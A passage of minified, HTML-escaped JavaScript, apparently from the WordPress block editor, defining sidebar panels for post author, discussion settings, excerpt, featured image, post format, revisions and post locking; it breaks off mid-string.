rZ(){let[e,t]=(0,Qq.useState)(),{editPost:r}=(0,Jq.useDispatch)(w),{authorId:o,authorOptions:n,isLoading:i}=rT(e),a=l=&gt;{l&amp;&amp;r({author:l})};return(0,tZ.jsx)(eZ.ComboboxControl,{__next40pxDefaultSize:!0,label:(0,$q.__)(&quot;Author&quot;),options:n,value:o,onFilterValueChange:(0,Xq.debounce)(t,300),onChange:a,allowReset:!1,hideLabelFromVision:!0,isLoading:i})}var oZ=s(E(),1),nZ=s(O(),1),iZ=s(A(),1);var sZ=s(C(),1);function aZ(){let{editPost:e}=(0,nZ.useDispatch)(w),{authorId:t,authorOptions:r}=rT(),o=n=&gt;{let i=Number(n);e({author:i})};return(0,sZ.jsx)(iZ.SelectControl,{__next40pxDefaultSize:!0,className:&quot;post-author-selector&quot;,label:(0,oZ.__)(&quot;Author&quot;),options:r,onChange:o,value:t,hideLabelFromVision:!0})}var j3=s(C(),1),Uxe=25;function Hxe(){return(0,lZ.useSelect)(t=&gt;t(cZ.store).getUsers(tT)?.length&gt;=Uxe,[])?(0,j3.jsx)(rZ,{}):(0,j3.jsx)(aZ,{})}var oT=Hxe;var uZ=s(O(),1);var dZ=s(C(),1);function nT({children:e}){let{hasAssignAuthorAction:t}=(0,uZ.useSelect)(r=&gt;({hasAssignAuthorAction:!!r(w).getCurrentPost()?._links?.[&quot;wp:action-assign-author&quot;]}),[]);return t?(0,dZ.jsx)(tr,{supportKeys:&quot;author&quot;,children:e}):null}var am=s(E(),1),iT=s(A(),1),sT=s(D(),1),fZ=s(ft(),1),mZ=s($(),1),pZ=s(O(),1),hZ=s(W(),1);var Za=s(C(),1);function Gxe({isOpen:e,onClick:t}){let{postAuthor:r}=(0,pZ.useSelect)(n=&gt;{let i=n(w).getEditedPostAttribute(&quot;author&quot;);return{postAuthor:n(hZ.store).getUser(i,e0)}},[]),o=(0,fZ.decodeEntities)(r?.name)||(0,am.__)(&quot;(No author)&quot;);return(0,Za.jsx)(iT.Button,{size:&quot;compact&quot;,className:&quot;editor-post-author__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,am.sprintf)((0,am.__)(&quot;Change author: %s&quot;),o),onClick:t,children:o})}function Wxe(){let[e,t]=(0,sT.useState)(null),r=(0,sT.useMemo)(()=&gt;({anchor:e,placement:&quot;left-start&quot;,offset:36,shift:!0}),[e]);return(0,Za.jsx)(nT,{children:(0,Za.jsx)(ht,{label:(0,am.__)(&quot;Author&quot;),ref:t,children:(0,Za.jsx)(iT.Dropdown,{popoverProps:r,contentClassName:&quot;editor-post-author__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:o,onToggle:n})=&gt;(0,Za.jsx)(Gxe,{isOpen:o,onClick:n}),renderContent:({onClose:o})=&gt;(0,Za.jsxs)(&quot;div&quot;,{className:&quot;editor-post-author&quot;,children:[(0,Za.jsx)(mZ.__experimentalInspectorPopoverHeader,{title:(0,am.__)(&quot;Author&quot;),onClose:o}),(0,Za.jsx)(oT,{onClose:o})]})})})})}var aT=Wxe;var rd=s(E(),1),cT=s(A(),1),uT=s(O(),1);var lT=s(C(),1),Yxe=[{label:(0,rd._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;),value:&quot;open&quot;,description:(0,rd.__)(&quot;Visitors can add new comments and replies.&quot;)},{label:(0,rd.__)(&quot;Closed&quot;),value:&quot;closed&quot;,description:[(0,rd.__)(&quot;Visitors cannot add new comments or replies.&quot;),(0,rd.__)(&quot;Existing comments remain visible.&quot;)].join(&quot; &quot;)}];function qxe(){let e=(0,uT.useSelect)(o=&gt;o(w).getEditedPostAttribute(&quot;comment_status&quot;)??&quot;open&quot;,[]),{editPost:t}=(0,uT.useDispatch)(w),r=o=&gt;t({comment_status:o});return(0,lT.jsx)(&quot;form&quot;,{children:(0,lT.jsx)(cT.__experimentalVStack,{spacing:4,children:(0,lT.jsx)(cT.RadioControl,{className:&quot;editor-change-status__options&quot;,hideLabelFromVision:!0,label:(0,rd.__)(&quot;Comment status&quot;),options:Yxe,onChange:r,selected:e})})})}var dT=qxe;var ia=s(E(),1),Wh=s(A(),1),U3=s(O(),1),gT=s(D(),1),gZ=s($(),1),vZ=s(W(),1);var fT=s(E(),1),mT=s(A(),1),pT=s(O(),1);var z3=s(C(),1);function Zxe(){let e=(0,pT.useSelect)(o=&gt;o(w).getEditedPostAttribute(&quot;ping_status&quot;)??&quot;open&quot;,[]),{editPost:t}=(0,pT.useDispatch)(w),r=()=&gt;t({ping_status:e===&quot;open&quot;?&quot;closed&quot;:&quot;open&quot;});return(0,z3.jsx)(mT.CheckboxControl,{label:(0,fT.__)(&quot;Enable pingbacks &amp; trackbacks&quot;),checked:e===&quot;open&quot;,onChange:r,help:(0,z3.jsx)(mT.ExternalLink,{href:(0,fT.__)(&quot;https://wordpress.org/documentation/article/trackbacks-and-pingbacks/&quot;),children:(0,fT.__)(&quot;Learn more about pingbacks &amp; trackbacks&quot;)})})}var hT=Zxe;var Bn=s(C(),1),Kxe=&quot;discussion-panel&quot;;function Xxe({onClose:e}){return(0,Bn.jsxs)(&quot;div&quot;,{className:&quot;editor-post-discussion&quot;,children:[(0,Bn.jsx)(gZ.__experimentalInspectorPopoverHeader,{title:(0,ia.__)(&quot;Discussion&quot;),onClose:e}),(0,Bn.jsxs)(Wh.__experimentalVStack,{spacing:4,children:[(0,Bn.jsx)(tr,{supportKeys:&quot;comments&quot;,children:(0,Bn.jsx)(dT,{})}),(0,Bn.jsx)(tr,{supportKeys:&quot;trackbacks&quot;,children:(0,Bn.jsx)(hT,{})})]})]})}function Qxe({isOpen:e,onClick:t}){let{commentStatus:r,pingStatus:o,commentsSupported:n,trackbacksSupported:i}=(0,U3.useSelect)(l=&gt;{let{getEditedPostAttribute:c}=l(w),{getPostType:u}=l(vZ.store),d=u(c(&quot;type&quot;));return{commentStatus:c(&quot;comment_status&quot;)??&quot;open&quot;,pingStatus:c(&quot;ping_status&quot;)??&quot;open&quot;,commentsSupported:!!d.supports.comments,trackbacksSupported:!!d.supports.trackbacks}},[]),a;return r===&quot;open&quot;?o===&quot;open&quot;?a=(0,ia._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;):a=i?(0,ia.__)(&quot;Comments only&quot;):(0,ia._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;):o===&quot;open&quot;?a=n?(0,ia.__)(&quot;Pings only&quot;):(0,ia.__)(&quot;Pings enabled&quot;):a=(0,ia.__)(&quot;Closed&quot;),(0,Bn.jsx)(Wh.Button,{size:&quot;compact&quot;,className:&quot;editor-post-discussion__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-label&quot;:(0,ia.__)(&quot;Change discussion options&quot;),&quot;aria-expanded&quot;:e,onClick:t,children:a})}function vT(){let{isEnabled:e}=(0,U3.useSelect)(n=&gt;{let{isEditorPanelEnabled:i}=n(w);return{isEnabled:i(Kxe)}},[]),[t,r]=(0,gT.useState)(null),o=(0,gT.useMemo)(()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0}),[t]);return e?(0,Bn.jsx)(tr,{supportKeys:[&quot;comments&quot;,&quot;trackbacks&quot;],children:(0,Bn.jsx)(ht,{label:(0,ia.__)(&quot;Discussion&quot;),ref:r,children:(0,Bn.jsx)(Wh.Dropdown,{popoverProps:o,className:&quot;editor-post-discussion__panel-dropdown&quot;,contentClassName:&quot;editor-post-discussion__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:n,onToggle:i})=&gt;(0,Bn.jsx)(Qxe,{isOpen:n,onClick:i}),renderContent:({onClose:n})=&gt;(0,Bn.jsx)(Xxe,{onClose:n})})})}):null}var Yh=s(E(),1),bT=s(A(),1),ST=s(O(),1),yZ=s(D(),1),bZ=s(ft(),1);var yT=s(C(),1);function t0({hideLabelFromVision:e=!1,updateOnBlur:t=!1}){let{excerpt:r,shouldUseDescriptionLabel:o,usedAttribute:n}=(0,ST.useSelect)(d=&gt;{let{getCurrentPostType:f,getEditedPostAttribute:m}=d(w),h=f(),g=[&quot;wp_template&quot;,&quot;wp_template_part&quot;].includes(h)?&quot;description&quot;:&quot;excerpt&quot;;return{excerpt:m(g),shouldUseDescriptionLabel:[&quot;wp_template&quot;,&quot;wp_template_part&quot;,&quot;wp_block&quot;].includes(h),usedAttribute:g}},[]),{editPost:i}=(0,ST.useDispatch)(w),[a,l]=(0,yZ.useState)((0,bZ.decodeEntities)(r)),c=d=&gt;{i({[n]:d})},u=o?(0,Yh.__)(&quot;Write a description (optional)&quot;):(0,Yh.__)(&quot;Write an excerpt (optional)&quot;);return(0,yT.jsx)(&quot;div&quot;,{className:&quot;editor-post-excerpt&quot;,children:(0,yT.jsx)(bT.TextareaControl,{label:u,hideLabelFromVision:e,className:&quot;editor-post-excerpt__textarea&quot;,onChange:t?l:c,onBlur:t?()=&gt;c(a):void 0,value:t?a:r,help:o?(0,Yh.__)(&quot;Write a description&quot;):(0,yT.jsx)(bT.ExternalLink,{href:(0,Yh.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#excerpt&quot;),children:(0,Yh.__)(&quot;Learn more about manual excerpts&quot;)})})})}var SZ=s(C(),1);function Jxe({children:e}){return(0,SZ.jsx)(tr,{supportKeys:&quot;excerpt&quot;,children:e})}var lm=Jxe;var Sc=s(E(),1),sa=s(A(),1),o0=s(O(),1),xT=s(D(),1),wZ=s($(),1),G3=s(W(),1),xZ=s(ft(),1);var _T=s(A(),1),H3=s(C(),1),{Fill:$xe,Slot:eCe}=(0,_T.createSlotFill)(&quot;PluginPostExcerpt&quot;),_Z=({children:e,className:t})=&gt;(0,H3.jsx)($xe,{children:(0,H3.jsx)(_T.PanelRow,{className:t,children:e})});_Z.Slot=eCe;var r0=_Z;var rr=s(C(),1),wT=&quot;post-excerpt&quot;;function tCe(){let{isOpened:e,isEnabled:t,postType:r}=(0,o0.useSelect)(a=&gt;{let{isEditorPanelOpened:l,isEditorPanelEnabled:c,getCurrentPostType:u}=a(w);return{isOpened:l(wT),isEnabled:c(wT),postType:u()}},[]),{toggleEditorPanelOpened:o}=(0,o0.useDispatch)(w),n=()=&gt;o(wT);if(!t)return null;let i=[&quot;wp_template&quot;,&quot;wp_template_part&quot;,&quot;wp_block&quot;].includes(r);return(0,rr.jsx)(sa.PanelBody,{title:i?(0,Sc.__)(&quot;Description&quot;):(0,Sc.__)(&quot;Excerpt&quot;),opened:e,onToggle:n,children:(0,rr.jsx)(r0.Slot,{children:a=&gt;(0,rr.jsxs)(rr.Fragment,{children:[(0,rr.jsx)(t0,{}),a]})})})}function CZ(){return(0,rr.jsx)(lm,{children:(0,rr.jsx)(tCe,{})})}function TZ(){return(0,rr.jsx)(lm,{children:(0,rr.jsx)(rCe,{})})}function rCe(){let{shouldRender:e,excerpt:t,shouldBeUsedAsDescription:r,allowEditing:o}=(0,o0.useSelect)(f=&gt;{let{getCurrentPostType:m,getCurrentPostId:h,getEditedPostAttribute:g,isEditorPanelEnabled:v}=f(w),y=m(),b=[&quot;wp_template&quot;,&quot;wp_template_part&quot;].includes(y),_=y===&quot;wp_block&quot;,S=b||_,T=g(b?&quot;description&quot;:&quot;excerpt&quot;),R=b&amp;&amp;f(G3.store).getEntityRecord(&quot;postType&quot;,y,h()),F=!T&amp;&amp;b?Zi({template:R,templateTypes:f(G3.store).getCurrentTheme()?.default_template_types})?.description:void 0,B=v(wT)||S;return{excerpt:T??F,shouldRender:B,shouldBeUsedAsDescription:S,allowEditing:B&amp;&amp;(!S||_||R&amp;&amp;R.source===k1.custom&amp;&amp;!R.has_theme_file&amp;&amp;R.is_custom)}},[]),[n,i]=(0,xT.useState)(null),a=r?(0,Sc.__)(&quot;Description&quot;):(0,Sc.__)(&quot;Excerpt&quot;),l=(0,xT.useMemo)(()=&gt;({anchor:n,&quot;aria-label&quot;:a,headerTitle:a,placement:&quot;left-start&quot;,offset:36,shift:!0}),[n,a]);if(!e)return!1;let c=!!t&amp;&amp;(0,rr.jsx)(sa.__experimentalText,{align:&quot;left&quot;,numberOfLines:4,truncate:o,children:(0,xZ.decodeEntities)(t)});if(!o)return c;let u=r?(0,Sc.__)(&quot;Add a description\u2026&quot;):(0,Sc.__)(&quot;Add an excerpt\u2026&quot;),d=r?(0,Sc.__)(&quot;Edit description&quot;):(0,Sc.__)(&quot;Edit excerpt&quot;);return(0,rr.jsxs)(sa.__experimentalVStack,{children:[c,(0,rr.jsx)(sa.Dropdown,{className:&quot;editor-post-excerpt__dropdown&quot;,contentClassName:&quot;editor-post-excerpt__dropdown__content&quot;,popoverProps:l,focusOnMount:!0,ref:i,renderToggle:({onToggle:f})=&gt;(0,rr.jsx)(sa.Button,{__next40pxDefaultSize:!0,onClick:f,variant:&quot;link&quot;,children:c?d:u}),renderContent:({onClose:f})=&gt;(0,rr.jsxs)(rr.Fragment,{children:[(0,rr.jsx)(wZ.__experimentalInspectorPopoverHeader,{title:a,onClose:f}),(0,rr.jsx)(sa.__experimentalVStack,{spacing:4,children:(0,rr.jsx)(r0.Slot,{children:m=&gt;(0,rr.jsxs)(rr.Fragment,{children:[(0,rr.jsx)(t0,{hideLabelFromVision:!0,updateOnBlur:!0}),m]})})})]})})]})}var Mi=s(E(),1),Y3=s(mo(),1),cn=s(A(),1),RZ=s(sy(),1),TT=s(D(),1),AZ=s(he(),1),qh=s(O(),1),cm=s($(),1),OZ=s(W(),1);var PZ=s(O(),1),kZ=s(W(),1);function CT({children:e,supportKeys:t}){let{postType:r,themeSupports:o}=(0,PZ.useSelect)(i=&gt;({postType:i(w).getEditedPostAttribute(&quot;type&quot;),themeSupports:i(kZ.store).getThemeSupports()}),[]);return(Array.isArray(t)?t:[t]).some(i=&gt;{let a=o?.[i]??!1;return i===&quot;post-thumbnails&quot;&amp;&amp;Array.isArray(a)?a.includes(r):a})?e:null}var W3=s(C(),1);function oCe({children:e}){return(0,W3.jsx)(CT,{supportKeys:&quot;post-thumbnails&quot;,children:(0,W3.jsx)(tr,{supportKeys:&quot;thumbnail&quot;,children:e})})}var _c=oCe;var zo=s(C(),1),EZ=[&quot;image&quot;],nCe=(0,Mi.__)(&quot;Featured image&quot;),iCe=(0,Mi.__)(&quot;Add a featured image&quot;),sCe=(0,zo.jsx)(&quot;p&quot;,{children:(0,Mi.__)(&quot;To edit the featured image, you need permission to upload media.&quot;)});function aCe(e,t){if(!e)return{};let r=(0,Y3.applyFilters)(&quot;editor.PostFeaturedImage.imageSize&quot;,&quot;large&quot;,e.id,t);if(r in(e?.media_details?.sizes??{}))return{mediaWidth:e.media_details.sizes[r].width,mediaHeight:e.media_details.sizes[r].height,mediaSourceUrl:e.media_details.sizes[r].source_url};let o=(0,Y3.applyFilters)(&quot;editor.PostFeaturedImage.imageSize&quot;,&quot;thumbnail&quot;,e.id,t);return o in(e?.media_details?.sizes??{})?{mediaWidth:e.media_details.sizes[o].width,mediaHeight:e.media_details.sizes[o].height,mediaSourceUrl:e.media_details.sizes[o].source_url}:{mediaWidth:e.media_details.width,mediaHeight:e.media_details.height,mediaSourceUrl:e.source_url}}function lCe({currentPostId:e,featuredImageId:t,onUpdateImage:r,onRemoveImage:o,media:n,postType:i,noticeUI:a,noticeOperations:l,isRequestingFeaturedImageMedia:c}){let u=(0,TT.useRef)(!1),[d,f]=(0,TT.useState)(!1),{getSettings:m}=(0,qh.useSelect)(cm.store),{mediaSourceUrl:h}=aCe(n,e);function g(_){m().mediaUpload({allowedTypes:EZ,filesList:_,onFileChange([S]){if((0,RZ.isBlobURL)(S?.url)){f(!0);return}S&amp;&amp;r(S),f(!1)},onError(S){l.removeAllNotices(),l.createErrorNotice(S)},multiple:!1})}function v(_){return _.alt_text?(0,Mi.sprintf)((0,Mi.__)(&quot;Current image: %s&quot;),_.alt_text):(0,Mi.sprintf)((0,Mi.__)(&quot;The current image has no alternative text. The file name is: %s&quot;),_.media_details.sizes?.full?.file||_.slug)}function y(_){u.current&amp;&amp;_&amp;&amp;(_.focus(),u.current=!1)}let b=!c&amp;&amp;!!t&amp;&amp;!n;return(0,zo.jsxs)(_c,{children:[a,(0,zo.jsxs)(&quot;div&quot;,{className:&quot;editor-post-featured-image&quot;,children:[n&amp;&amp;(0,zo.jsx)(&quot;div&quot;,{id:`editor-post-featured-image-${t}-describedby`,className:&quot;hidden&quot;,children:v(n)}),(0,zo.jsx)(cm.MediaUploadCheck,{fallback:sCe,children:(0,zo.jsx)(cm.MediaUpload,{title:i?.labels?.featured_image||nCe,onSelect:r,unstableFeaturedImageFlow:!0,allowedTypes:EZ,modalClass:&quot;editor-post-featured-image__media-modal&quot;,render:({open:_})=&gt;(0,zo.jsxs)(&quot;div&quot;,{className:&quot;editor-post-featured-image__container&quot;,children:[b?(0,zo.jsx)(cn.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,Mi.__)(&quot;Could not retrieve the featured image data.&quot;)}):(0,zo.jsxs)(cn.Button,{__next40pxDefaultSize:!0,ref:y,className:t?&quot;editor-post-featured-image__preview&quot;:&quot;editor-post-featured-image__toggle&quot;,onClick:_,&quot;aria-label&quot;:t?(0,Mi.__)(&quot;Edit or replace the featured image&quot;):null,&quot;aria-describedby&quot;:t?`editor-post-featured-image-${t}-describedby`:null,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:d,accessibleWhenDisabled:!0,children:[!!t&amp;&amp;n&amp;&amp;(0,zo.jsx)(&quot;img&quot;,{className:&quot;editor-post-featured-image__preview-image&quot;,src:h,alt:v(n)}),(d||c)&amp;&amp;(0,zo.jsx)(cn.Spinner,{}),!t&amp;&amp;!d&amp;&amp;(i?.labels?.set_featured_image||iCe)]}),!!t&amp;&amp;(0,zo.jsxs)(cn.__experimentalHStack,{className:re(&quot;editor-post-featured-image__actions&quot;,{&quot;editor-post-featured-image__actions-missing-image&quot;:b,&quot;editor-post-featured-image__actions-is-requesting-image&quot;:c}),children:[(0,zo.jsx)(cn.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-featured-image__action&quot;,onClick:_,&quot;aria-haspopup&quot;:&quot;dialog&quot;,variant:b?&quot;secondary&quot;:void 0,children:(0,Mi.__)(&quot;Replace&quot;)}),(0,zo.jsx)(cn.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-featured-image__action&quot;,onClick:()=&gt;{o(),u.current=!0},variant:b?&quot;secondary&quot;:void 0,isDestructive:b,children:(0,Mi.__)(&quot;Remove&quot;)})]}),(0,zo.jsx)(cn.DropZone,{onFilesDrop:g})]}),value:t})})]})]})}var cCe=(0,qh.withSelect)(e=&gt;{let{getEntityRecord:t,getPostType:r,hasFinishedResolution:o}=e(OZ.store),{getCurrentPostId:n,getEditedPostAttribute:i}=e(w),a=i(&quot;featured_media&quot;);return{media:a?t(&quot;postType&quot;,&quot;attachment&quot;,a,{context:&quot;view&quot;}):null,currentPostId:n(),postType:r(i(&quot;type&quot;)),featuredImageId:a,isRequestingFeaturedImageMedia:!!a&amp;&amp;!o(&quot;getEntityRecord&quot;,[&quot;postType&quot;,&quot;attachment&quot;,a,{context:&quot;view&quot;}])}}),uCe=(0,qh.withDispatch)((e,{noticeOperations:t},{select:r})=&gt;{let{editPost:o}=e(w);return{onUpdateImage(n){o({featured_media:n.id})},onDropImage(n){r(cm.store).getSettings().mediaUpload({allowedTypes:[&quot;image&quot;],filesList:n,onFileChange([i]){o({featured_media:i.id})},onError(i){t.removeAllNotices(),t.createErrorNotice(i)},multiple:!1})},onRemoveImage(){o({featured_media:0})}}}),n0=(0,AZ.compose)(cn.withNotices,cCe,uCe,(0,cn.withFilters)(&quot;editor.PostFeaturedImage&quot;))(lCe);var IZ=s(E(),1),NZ=s(A(),1),PT=s(O(),1),FZ=s(W(),1);var Zh=s(C(),1),q3=&quot;featured-image&quot;;function kT({withPanelBody:e=!0}){let{postType:t,isEnabled:r,isOpened:o}=(0,PT.useSelect)(i=&gt;{let{getEditedPostAttribute:a,isEditorPanelEnabled:l,isEditorPanelOpened:c}=i(w),{getPostType:u}=i(FZ.store);return{postType:u(a(&quot;type&quot;)),isEnabled:l(q3),isOpened:c(q3)}},[]),{toggleEditorPanelOpened:n}=(0,PT.useDispatch)(w);return r?e?(0,Zh.jsx)(_c,{children:(0,Zh.jsx)(NZ.PanelBody,{title:t?.labels?.featured_image??(0,IZ.__)(&quot;Featured image&quot;),opened:o,onToggle:()=&gt;n(q3),children:(0,Zh.jsx)(n0,{})})}):(0,Zh.jsx)(_c,{children:(0,Zh.jsx)(n0,{})}):null}var Mn=s(E(),1),ET=s(A(),1),RT=s(O(),1),MZ=s(he(),1),LZ=s(W(),1);var DZ=s(O(),1);var BZ=s(C(),1);function Kh({children:e}){return(0,DZ.useSelect)(r=&gt;r(w).getEditorSettings().disablePostFormats,[])?null:(0,BZ.jsx)(tr,{supportKeys:&quot;post-formats&quot;,children:e})}var um=s(C(),1),i0=[{id:&quot;aside&quot;,caption:(0,Mn.__)(&quot;Aside&quot;)},{id:&quot;audio&quot;,caption:(0,Mn.__)(&quot;Audio&quot;)},{id:&quot;chat&quot;,caption:(0,Mn.__)(&quot;Chat&quot;)},{id:&quot;gallery&quot;,caption:(0,Mn.__)(&quot;Gallery&quot;)},{id:&quot;image&quot;,caption:(0,Mn.__)(&quot;Image&quot;)},{id:&quot;link&quot;,caption:(0,Mn.__)(&quot;Link&quot;)},{id:&quot;quote&quot;,caption:(0,Mn.__)(&quot;Quote&quot;)},{id:&quot;standard&quot;,caption:(0,Mn.__)(&quot;Standard&quot;)},{id:&quot;status&quot;,caption:(0,Mn.__)(&quot;Status&quot;)},{id:&quot;video&quot;,caption:(0,Mn.__)(&quot;Video&quot;)}].sort((e,t)=&gt;{let r=e.caption.toUpperCase(),o=t.caption.toUpperCase();return r&lt;o?-1:r&gt;o?1:0});function s0(){let t=`post-format-selector-${(0,MZ.useInstanceId)(s0)}`,{postFormat:r,suggestedFormat:o,supportedFormats:n}=(0,RT.useSelect)(u=&gt;{let{getEditedPostAttribute:d,getSuggestedPostFormat:f}=u(w),m=d(&quot;format&quot;),h=u(LZ.store).getThemeSupports();return{postFormat:m??&quot;standard&quot;,suggestedFormat:f(),supportedFormats:h.formats}},[]),i=i0.filter(u=&gt;n?.includes(u.id)||r===u.id),a=i.find(u=&gt;u.id===o),{editPost:l}=(0,RT.useDispatch)(w),c=u=&gt;l({format:u});return(0,um.jsx)(Kh,{children:(0,um.jsxs)(&quot;div&quot;,{className:&quot;editor-post-format&quot;,children:[(0,um.jsx)(ET.RadioControl,{className:&quot;editor-post-format__options&quot;,label:(0,Mn.__)(&quot;Post Format&quot;),selected:r,onChange:u=&gt;c(u),id:t,options:i.map(u=&gt;({label:u.caption,value:u.id})),hideLabelFromVision:!0}),a&amp;&amp;a.id!==r&amp;&amp;(0,um.jsx)(&quot;p&quot;,{className:&quot;editor-post-format__suggestion&quot;,children:(0,um.jsx)(ET.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;c(a.id),children:(0,Mn.sprintf)((0,Mn.__)(&quot;Apply suggested format: %s&quot;),a.caption)})})]})})}var fm=s(E(),1),Z3=s(A(),1),a0=s(O(),1);var K3=s(Ir(),1);var VZ=s(O(),1);var jZ=s(C(),1);function dCe({children:e}){let{lastRevisionId:t,revisionsCount:r}=(0,VZ.useSelect)(o=&gt;{let{getCurrentPostLastRevisionId:n,getCurrentPostRevisionsCount:i}=o(w);return{lastRevisionId:n(),revisionsCount:i()}},[]);return!t||r&lt;2?null:(0,jZ.jsx)(tr,{supportKeys:&quot;revisions&quot;,children:e})}var dm=dCe;var Xh=s(C(),1);function zZ(){return(0,a0.useSelect)(e=&gt;{let{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:r,getEditorSettings:o}=e(w);return{lastRevisionId:t(),revisionsCount:r(),disableVisualRevisions:!!o().disableVisualRevisions}},[])}function fCe(){let{lastRevisionId:e,revisionsCount:t,disableVisualRevisions:r}=zZ(),{setCurrentRevisionId:o}=N((0,a0.useDispatch)(w)),n=r?{href:(0,K3.addQueryArgs)(&quot;revision.php&quot;,{revision:e})}:{onClick:()=&gt;o(e)};return(0,Xh.jsx)(dm,{children:(0,Xh.jsx)(Z3.Button,{__next40pxDefaultSize:!0,...n,className:&quot;editor-post-last-revision__title&quot;,icon:xl,iconPosition:&quot;right&quot;,text:(0,fm.sprintf)((0,fm.__)(&quot;Revisions (%s)&quot;),t)})})}function UZ(){let{lastRevisionId:e,revisionsCount:t,disableVisualRevisions:r}=zZ(),{setCurrentRevisionId:o}=N((0,a0.useDispatch)(w)),n=r?{href:(0,K3.addQueryArgs)(&quot;revision.php&quot;,{revision:e})}:{onClick:()=&gt;o(e)};return(0,Xh.jsx)(dm,{children:(0,Xh.jsx)(ht,{label:(0,fm.__)(&quot;Revisions&quot;),children:(0,Xh.jsx)(Z3.Button,{...n,className:&quot;editor-private-post-last-revision__button&quot;,text:t,&quot;aria-label&quot;:(0,fm.sprintf)((0,fm.__)(&quot;Open revisions screen: %s revisions&quot;),t),variant:&quot;tertiary&quot;,size:&quot;compact&quot;})})})}var AT=fCe;var HZ=s(A(),1);var OT=s(C(),1);function mCe(){return(0,OT.jsx)(dm,{children:(0,OT.jsx)(HZ.PanelBody,{className:&quot;editor-post-last-revision__panel&quot;,children:(0,OT.jsx)(AT,{})})})}var GZ=mCe;var ko=s(E(),1),aa=s(A(),1),c0=s(O(),1),Q3=s(Ir(),1),l0=s(D(),1),Qh=s(mo(),1),KZ=s(he(),1),J3=s(W(),1);var wc=s(E(),1),pCe=&quot;authentication-failed&quot;,hCe=&quot;connection-expired&quot;,gCe=&quot;connection-limit-exceeded&quot;,WZ=&quot;document-size-limit-exceeded&quot;,YZ=&quot;unknown-error&quot;,X3={[pCe]:{title:(0,wc.__)(&quot;Unable to connect&quot;),description:(0,wc.__)(&quot;Real-time collaboration couldn&#039;t verify your permissions. Check that you have access to edit this post or contact your site administrator.&quot;)},[hCe]:{title:(0,wc.__)(&quot;Connection expired&quot;),description:(0,wc.__)(&quot;Your connection to real-time collaboration has timed out. Editing is paused to prevent conflicts with other editors.&quot;)},[gCe]:{title:(0,wc.__)(&quot;Too many editors connected&quot;),description:(0,wc.__)(&quot;Real-time collaboration has reached its connection limit. Try again later or contact your site administrator.&quot;)},[YZ]:{title:(0,wc.__)(&quot;Connection lost&quot;),description:(0,wc.__)(&quot;The connection to real-time collaboration was interrupted. Editing is paused to prevent conflicts with other editors.&quot;)}};function qZ(e){return e?.code&amp;&amp;X3[e?.code]?X3[e.code]:X3[YZ]}var Kt=s(C(),1);function ZZ(){let{isCollaborationSupported:e,syncConnectionStatus:t}=(0,c0.useSelect)(r=&gt;{let{isCollaborationSupported:o,getSyncConnectionStatus:n}=N(r(J3.store));return{isCollaborationSupported:o(),syncConnectionStatus:n()}},[]);return e?null:WZ===t?.error?.code?(0,Kt.jsx)(&quot;p&quot;,{children:(0,ko.__)(&quot;Because this post is too large for real-time collaboration, only one person can edit at a time.&quot;)}):(0,Kt.jsx)(&quot;p&quot;,{children:(0,ko.__)(&quot;Because this post uses plugins that aren\u2019t compatible with real-time collaboration, only one person can edit at a time.&quot;)})}function XZ(){let t=&quot;core/editor/post-locked-modal-&quot;+(0,KZ.useInstanceId)(XZ),{autosave:r,updatePostLock:o}=(0,c0.useDispatch)(w),{isCollaborationEnabled:n,isLocked:i,isTakeover:a,user:l,postId:c,postLockUtils:u,activePostLock:d,postType:f,previewLink:m}=(0,c0.useSelect)(_=&gt;{let{isPostLocked:S,isPostLockTakeover:x,getPostLockUser:T,getCurrentPostId:R,getActivePostLock:F,getEditedPostAttribute:B,getEditedPostPreviewLink:z,getEditorSettings:L,isCollaborationEnabledForCurrentPost:M}=N(_(w)),{getPostType:k}=_(J3.store);return{isCollaborationEnabled:M(),isLocked:S(),isTakeover:x(),user:T(),postId:R(),postLockUtils:L().postLockUtils,activePostLock:F(),postType:k(B(&quot;type&quot;)),previewLink:z()}},[]);if((0,l0.useEffect)(()=&gt;{function _(T){i||(T[&quot;wp-refresh-post-lock&quot;]={lock:d,post_id:c})}function S(T){if(!T[&quot;wp-refresh-post-lock&quot;])return;let R=T[&quot;wp-refresh-post-lock&quot;];R.lock_error?(r(),o({isLocked:!0,isTakeover:!0,user:{name:R.lock_error.name,avatar:R.lock_error.avatar_src_2x}})):R.new_lock&amp;&amp;o({isLocked:!1,activePostLock:R.new_lock})}function x(){if(i||!d)return;let T=new window.FormData;if(T.append(&quot;action&quot;,&quot;wp-remove-post-lock&quot;),T.append(&quot;_wpnonce&quot;,u.unlockNonce),T.append(&quot;post_ID&quot;,c),T.append(&quot;active_post_lock&quot;,d),window.navigator.sendBeacon)window.navigator.sendBeacon(u.ajaxUrl,T);else{let R=new window.XMLHttpRequest;R.open(&quot;POST&quot;,u.ajaxUrl,!1),R.send(T)}}return(0,Qh.addAction)(&quot;heartbeat.send&quot;,t,_),(0,Qh.addAction)(&quot;heartbeat.tick&quot;,t,S),window.addEventListener(&quot;beforeunload&quot;,x),()=&gt;{(0,Qh.removeAction)(&quot;heartbeat.send&quot;,t),(0,Qh.removeAction)(&quot;heartbeat.tick&quot;,t),window.removeEventListener(&quot;beforeunload&quot;,x)}},[]),!i||n)return null;let h=l.name,g=l.avatar,v=(0,Q3.addQueryArgs)(&quot;post.php&quot;,{&quot;get-post-lock&quot;:&quot;1&quot;,lockKey:!0,post:c,action:&quot;edit&quot;,_wpnonce:u.nonce}),y=(0,Q3.addQueryArgs)(&quot;edit.php&quot;,{post_type:f?.slug}),b=(0,ko.__)(&quot;Exit 